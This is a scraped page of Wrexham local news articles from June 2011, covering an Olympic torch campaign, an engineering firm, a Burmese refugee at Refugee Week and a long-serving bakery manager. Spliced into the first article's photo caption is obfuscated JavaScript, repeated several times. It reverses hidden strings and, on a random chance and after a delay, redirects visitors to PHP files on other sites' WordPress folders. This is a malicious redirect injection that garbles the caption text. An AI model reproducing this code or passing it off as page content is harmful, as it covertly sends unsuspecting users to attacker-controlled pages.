Category: News

Olympic torch campaign hots up

Kevin Critchley, manager of Eagles Meadow, Wrexham with local AM Lesley Griffiths start their campaign $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to visit Wrexham.

A crusade to bring the Olympic torch to Wrexham is hotting up.

Kevin Critchley, the manager of the town’s Eagles Meadow shopping centre, has pledged his support to Wrexham AM Lesley Griffiths who started the campaign.

The Olympic torch relay route is due to by-pass Wrexham when it is carried through Wales – it’s only scheduled to go through Cardiff, Swansea, Aberystwyth and Bangor.

Lesley Griffiths has written to Olympic supremo Lord Sebastian Coe saying it would be a “great shame” if the town were not included in next May’s route.

Mr Critchley is backing the campaign to the hilt and he’s urging other businesses in the town to add their voices to the growing clamour.

He said: “Wrexham is the capital of North Wales and we feel that it is only right and proper that we have a share of the Olympic action.

“Back in 2008, when it was announced that the London 2012 bid had been successful, the Olympic flag was raised in celebration here.

“Not only that, we have a fine Olympic tradition and two gold medal heroes to boot.

“Ken Matthews won gold in 1964 in the 20K race walk in Tokyo and then Tom James followed suit as a member of the victorious men’s four at the 2008 Beijing Games.”

Lesley Griffiths, who is also the Welsh Government Health Minister, was delighted to receive the backing of the shopping centre for her campaign which was also attracting a huge amount of support from townspeople.

She revealed: “It’s been one of my biggest post bags from constituents who really want the Olympic torch to come to Wrexham – the campaign is gathering  momentum all the time

“It would be would be a real shot in the arm for the whole town which has a fantastic sporting heritage.

“Everybody knows Wrexham for its Racecourse stadium which is now also home to the Crusaders rugby league team.

“The stadium can also boast a world first as the ground where the first film of an international football match was shot at a game between Wales and Ireland in 1906.

“And let’s not forget that we are the cradle of Welsh football because Wrexham was the birthplace of the Welsh FA.

“We’ve also got a world class hockey pitch here so we have all the sporting credentials that you could possibly need.

“The route that’s been announced is a provisional one.  They’ve decided that the torch will have overnight stops in Bangor and Chester so it makes perfect sense for it to come via Wrexham.

 “It’s great that Eagles Meadow has come on board to join the campaign. Wrexham’s going for gold!”

Monday June 27th, 2011

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Firm engineers better future

Rhian Williams and Anthony Lewis from Coxeys with Steve Barnett at Barnett Engineering in Rhos.

 

A North Wales firm is celebrating after being awarded contracts with one of the world’s biggest shipping companies and an American renewable energy specialist.

Barnett Engineering, based in Rhos, near Wrexham, is involved in maintenance work for shipping giants Maersk who employ more than 100,000 people and operate in 130 countries world-wide.

The second bit of good news came when they secured the right to be the sole UK and Ireland distributor for American outfit Aerofortis who manufacture silent-running wind turbines for domestic and small-scale commercial use.

The company, run by brothers Steve and Ian Barnett, say that their accountants, Wrexham and Saltney based Coxeys, have played a crucial role in their success in creating new strands of business.

Coxeys provided advice on accessing tax breaks for conducting Research and Development work that’s been central to accessing new markets resulting in Barnett Engineering securing new clients in the steel, pharmaceuticals and food industries.

Steve explained: “Over the past couple of years we have diversified our business and expanded our workforce including extra engineers and project managers.

“We have increased our activity in the marine sector, having secured several contracts and this side of the business is still steadily growing”

“The applications undertaken are of a highly specialist nature, and we have introduced new operating systems, training regimes, and quality control measures to meet the exacting standards required.”

“We are delighted to have worked internationally for Maersk early in 2011 where six technicians were contracted to undertake repairs on three large vessels for a period of six weeks.

 “Our employees have undergone many new types of training which is very interesting for everybody and is increasing the skills base within the company.

“As a philosophy for the business we look at development and expansion into new areas and sectors and this has worked out really well for us.

“We don’t intend to stagnate and want to keep moving forward and develop our business further.

“Renewable energy is another growth area for us. We have been appointed as the UK and Ireland distributor for wind turbines by American company Aerofortis.

“They are ducted wind turbines which are virtually silent running so that they minimise any disturbance in the area surrounding the wind turbine.

“We are also developing projects involved with the Renewable Heat Incentive scheme as well as other biomass projects.

“Research and Development is very important to us because we can develop our ideas and create our own niche products and services and this obviously puts us in a very strong position as a company. 

“The fact that Coxeys were able to help us claim back on tax for our Research and Development work really encouraged us and was crucial in developing new areas of business.

“Coxeys have ensured that we put the Research and Development claim together correctly to maximise the full benefit and that’s absolutely invaluable, especially as virtually no grants are available nowadays for companies to develope innovative ideas.

 Coxeys Director Anthony Lewis is delighted at the success of Barnett Engineering on so many new fronts

He said: “They are a very progressive firm who don’t like to stand still – companies like this depend on innovation to continue to grow, it is their lifeblood.

“The Government are currently promoting Research and Development and are giving additional benefit for willing to put resources into this area.

 “When it came in, the additional allowance was 50 per cent of the Research and Development expenditure. It went up to 75 per cent in 2008 and the most recent budget has increased it to 100 per cent, and set the figure from next April to an additional 125 per cent.

 “With a company like Barnett Engineering, the spend on research and development can reach six figures.

“This claw-back of Corporation Tax is a massive boost – it means essentially they are sharing the risk with the Government.”

Wednesday June 22nd, 2011

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Political refugee finds safe haven in Wrexham after fleeing death squad

Burmese dancers perform at Eagles Meadow as part of the Wrexham Council Year of Culture. Khine Lik, now living in Wrexham watches the dance.

 

Wrexham has proved a safe haven for a political refugee who faced death if he remained in his native Burma.

Khine Lin (corr), 35, plans to stay in Wrexham where he says people are so friendly and he feels secure.

He introduced dancers from the Burma Democratic Concern (BDC) to the hundreds of shoppers passing through the Eagles Meadow shopping centre in Wrexham at the launch of Refugee Week and called on them to support their world-wide campaign for democracy in Burma and an end to the military regime.

Refugee Week, organised by Wrexham Refugee and Asylum Seekers Support Group, is part of Wrexham’s Year of Culture for which Eagles Meadow is the main sponsor.

“I am a co-ordinator for BDC and we are a global campaigning organisation,” said Khine Lin, who is one of only two Burmese refugees living in the town. “If I had stayed in Burma my life would have been in danger because of my support for the political opposition.

“I left behind my mother, father, two sisters and younger brother and we are not in communication with each other.

“People in Wrexham have been very welcoming and I feel safe here,” said Lin who is hoping to continue his writing.

Refugees are dispersed to areas in the UK designated by the Home Office and prepared to receive them – which in Wales are Cardiff, Swansea, Newport and Wrexham.

Siobhan Matthews, from the Wrexham support group, said: “We are trying with Refugee Week to raise awareness about the contribution refugees play in our UK society and life here in general.

 “We need to remember that refugees have been through a terrible time in their home country and that is the reason they are here. They have to prove to the Home Office that they are really in need of protection when they come here.

“Refugee Week also give refugees and asylum seekers the opportunity to meet members of their local community and share their stories and experiences. The chance to make friends is often uppermost in the list of requirements for a new arrival in Wrexham.”

Mark Hill Reynolds,a mature student at Glyndŵr University, who also helps at the Wrexham Refugee and Asylum Seekers Support Group, said: “We’ve had a really excellent start to Refugee Week and Eagles Meadow has really looked after us.”

Dancers from BDM also circulated amongst the afternoon shoppers collecting signatures on their petition calling for the restoration of democracy in Burma and recognition of its legitimately elected government and leader, Nobel Peace prize winner, Daw Aung San Suu Kyi, who celebrated her 66th birthday on Sunday (Jun 19).

Nando’s restaurant , based at Eagles Meadow, helped sponsor the day and while diners admired a wall full of genuine African art .

It’s a Nando’s project which provides artists in South Africa with materials and then buys back their works of art.

Manager Alison Hopwood and her team were helping serve 800 free burgers in the precinct with donations going to refugee related charities.

The drum beats of Batala Bangor could also be heard through Eagles Meadow at the launch. It’s a group which has evolved from Samba Bangor Community Music, which was formed in 1995 to promote the spirit of carnival and its associated arts in North Wales.

The Big Beat were four young men who were a big hit with the Eagles Meadow crowd. They have performed their mix of rock, soul, pop and blues all over the UK and even appeared at the Tsunami Fundraiser 2005 with musical legends like Eric Clapton and Jools Holland.

A football tournament will take place at Glyndŵr University on the Wednesday, and activities for children not interested in football will be available free of charge.

A night of African, Portuguese and other World music will be held at L’Etage on Thursday, June 23.

On Friday, again at L’Etage, ‘Skamambo’ from Poland will be providing live music and ‘Babyfather’ sound system from Trinidad will keep the dancing going into the early hours.

Another football tournament will be held at Ellesmere Port on Saturday, June25.

Also booked for the week is Tacsi Crew, a four-piece bilingual band from Anglesey. Also appearing are: Polish band Skambomambo, which fuses its own original brand of Ska with other genres like rock, pop, punk, and funk; and TrenchCity, The Ready Get Set and Future Fresh. 

 

Wednesday June 22nd, 2011

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Glorious Gloria still rising to bakery challenge after 40 years’ service

Gloria Davies celebrates forty years at Gerrards Bakery. Pictured is Gloria Davies with Dawn and Dirk van Rensburg and Albi Davies.

 

Family is everything to Gloria Davies – at home and at work.

This year she celebrates 40 years working for a family-owned business and at 68 she has no plans to quit.

As area manager for the Wrexham-based bakers Gerrards, and their 15 North Wales and Wirral shops, she works for Wales’ oldest family craft bakers.

“I just enjoy my job and get a lot of job satisfaction,” said Gloria, of South View, Buckley.

“When I was manager of the Gerrards shop in Buckley Precinct I used to feel like I owned that shop, it was my shop! It gave me such job satisfaction closing the door at night knowing everything was clean and tidy and ready for tomorrow.”

Now her job is to pass on that experience and enthusiasm to more than 130 staff  at shops in Bangor, Llandudno, Mold, Buckley, Wirral (two shops), Wrexham (four shops), Bala, Corwen, Chirk, Gresford and Llangollen.

She also supervises the fleet of eight sandwich vans that supply offices, factories and business parks in North Wales, Shropshire, Cheshire and the Wirral with freshly baked products.

Gerrards, established in 1838 is now being run by the sixth generation of the family, and according to directors Dirk and Dawn van Rensburg they are looking at the possibility of further expansion.

Gloria was born at Leasowe on the Wirral where she left St George’s secondary modern school at 15 and went to work at a pharmacy. She met future husband Albert, from Wallasey, who worked as a motor mechanic for the GPO in Birkenhead and started saving to get married in 1965.

They had their eye on property they could afford and were drawn to a two bedroom bungalow being built on a new estate at West View in Buckley.

In a remarkable chain of events, Gloria persuaded sister Marian and husband Brian Harrison to leave the Wirral and move to Buckley, where they took over Gloria and Albert’s original two bedroom bungalow in West View (they now live in Hawarden), which had become too small with the arrival of Gloria’s twins, Andrew and Helen.

Gloria and Albert moved to a house in Delamere Avenue, Buckley, and when it came time to downsize, son Andrew – now 43 and with three daughters – swapped his bungalow in South View for his mum and dad’s house in Delamere Avenue.

“From our window in South View we can see the bungalow we lived in when we first married,” said Gloria.

After a spell working for the Timothy Whites chemists chain at Chester, Gloria switched to a delicatessen and cake shop in Buckley, which was taken over by Gerrards. Albert meantime had transferred to the GPO in Mold.

“I was a part-time assistant, but that only lasted two days before they asked me to go full-time and I’ve been there ever since,” she said.

Her parents Stanley and Gertrude Parry had also been persuaded to make the move to Buckley, but sadly Gloria’s mother died last year.

“I became the deputy manageress at Buckley and when the manager left I became manager. We all work as a team. It’s a very family orientated business and I find them nice people to get on with. Eventually I was asked to become area manager.

“They treat you like family. When Albert had heart problems and needed a by-pass operation I needed to take time off but they couldn’t do enough for me to ease my situation.

“I still enjoy meeting all the girls and the different customers, my time at Gerrards has just been a joy.

“These days when everything is owned by huge companies it’s really nice to have a family-owned business which takes a pride in what it produces.

Taste a supermarket loaf and taste one of ours and you will see the difference!” said Gloria.

Albert, who was promoted to workshop manager at Llanrwst and then Llandudno, retired in 1994, but Gloria has no retirement plans.

Despite that she still finds time to indulge her passion for acrylic painting at an art club she helped set up in Northop and she and Albert enjoy indoor bowls.

Dawn van Rensburg said: “Gloria is a great ambassador for Gerrards and a fantastic role model for all our staff.

“She continues to give unstinting, loyal service and upholds our high standards were pride.

“Our staff admire and look up to Gloria and her lovely personality means she is extremely popular with our customers.

“We are grateful to Gloria for her remarkable enthusiasm. Quite simply, she’s a star – long may she continue!”

Captions

Gerrards-1 Gloria Davies celebrates forty years at Gerrards Bakery. Pictured is Gloria Davies with Dawn and Dirk van Rensburg and Albi Davies.

Gerrards-2 and 3 Pictured is  Dawn van Rensburg with Albi and Gloria Davies.

Tuesday June 21st, 2011

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